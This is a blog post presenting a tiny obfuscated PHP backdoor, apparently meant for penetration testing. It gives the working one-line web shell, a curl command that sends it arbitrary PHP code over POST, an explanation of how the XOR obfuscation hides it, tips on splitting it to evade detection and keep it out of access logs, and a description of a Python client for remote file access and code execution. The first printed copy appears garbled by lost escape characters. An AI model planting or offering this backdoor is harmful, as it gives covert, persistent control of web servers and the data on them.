Small and Easy to Hide PHP Backdoor with Python Client

PHP BackdoorThe aim of this article is to showcase a PHP backdoor that is small enough to pass unnoticed while still allowing the execution of complex operations. Maintaining access to a compromised system is one important step during penetration testing. In most cases this is achieved using backdoors. These can either live as standalone pieces of software or as part of legitimate code. And always, no matter how the backdoor is designed, being hard to discover is an important aspect.

Motivation behind this PHP backdoor

We all love free stuff, don’t try to deny it, even if we obtain it from illicit sources. For example, instead of spending 25$ on a WordPress theme, you can grab the nulled version. This applies for anything else too. And even if you use an Exploit Scanner plugin, or use VirusTotal, you can never trust bootleg stuff. It doesn’t mater if you are good at reading code, there is always a chance of something getting away unnoticed. Let me show you how easy it is to add a backdoor to legit PHP code.

The code

The following code was inspired by Eric Schoffstall’s TinyShell

As I mentioned, my aim was to keep the PHP backdoor small and unobvious, this is what I have achieved.

$_="@";$_=($_[+""]^"").($_[+""]^"").($_[+""]^"").($_[+""]^"");$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';$_?$_():'';

Here is a more printer friendly version.

$_="@";$_=($_[+""]^"\020").($_[+""]^"\017").($_[+""]^"\023").($_[+""]^"\024");$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';$_?$_():'';

Usage

You communicate with this PHP backdoor over HTTP POST requests. This ensures that nothing obvious remains in the access logs of the HTTP server. The backdoor code takes two parameters named “_” and “POST”. You should always set the first parameter to “create_function” while the other one can contain PHP code. The backdoor will create a function with the code provided in the second parameter and execute it. Here is how you would access the backdoor with CURL.

curl 'http://example.com/shell.php' -H 'Content-Type: application/x-www-form-urlencoded' --data '_=create_function&POST=echo+%27Hello+world%27%3B'

Dissecting the code

The first instruction is obvious. It sets a variable to “@”.

$_="@";

The original version from Eric Schoffstall uses another initialization. Unfortunately his version generates Notice messages on certain PHP versions

With some clever XOR-ing this variable is transformed into a string that contains “POST”.

$_=($_[+""]^"\020").($_[+""]^"\017").($_[+""]^"\023").($_[+""]^"\024");

In order to make the backdoor more easy to break into pieces you can replace the line above with four instructions that do the same thing.

$_=($_[+""]^"\020");
$_.=($_[+""]^"\037");
$_.=($_[+""]^"\003");
$_.=($_[+""]^"\004");

As I mentioned, the first request parameter is always set to “create_function”. The next instruction checks if $_POST[‘_’] contains anything and creates an an anonymous function. The body of this function is set to the value from the second request parameter. This function is stored into the same $_ variable.

$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';

The last part is checking if the function creation succeeded and does the function call.

$_?$_():'';

The Python client

In order to interact with the PHP backdoor in a more friendly manner I have written a small client in Python. You can find the client together with the backdoor on Github.

Python client

Requirements

The Python client requires Urwid console interface library. You can install it using pip.

pip install urwid

Usage

The client requires only on parameter, pointing to the URL of the PHP backdoor.

python client.py http://example.com/shell.php

Features

  • Full directory navigation on both the local and remote machines.
  • File download and upload in binary mode.
  • File deletion, both locally and remote.
  • Execution of arbitrary PHP code on the remote machine.

T3ZlciBBbmQgT3V0IQ==

Recent Posts

Be First to Comment

Leave a Reply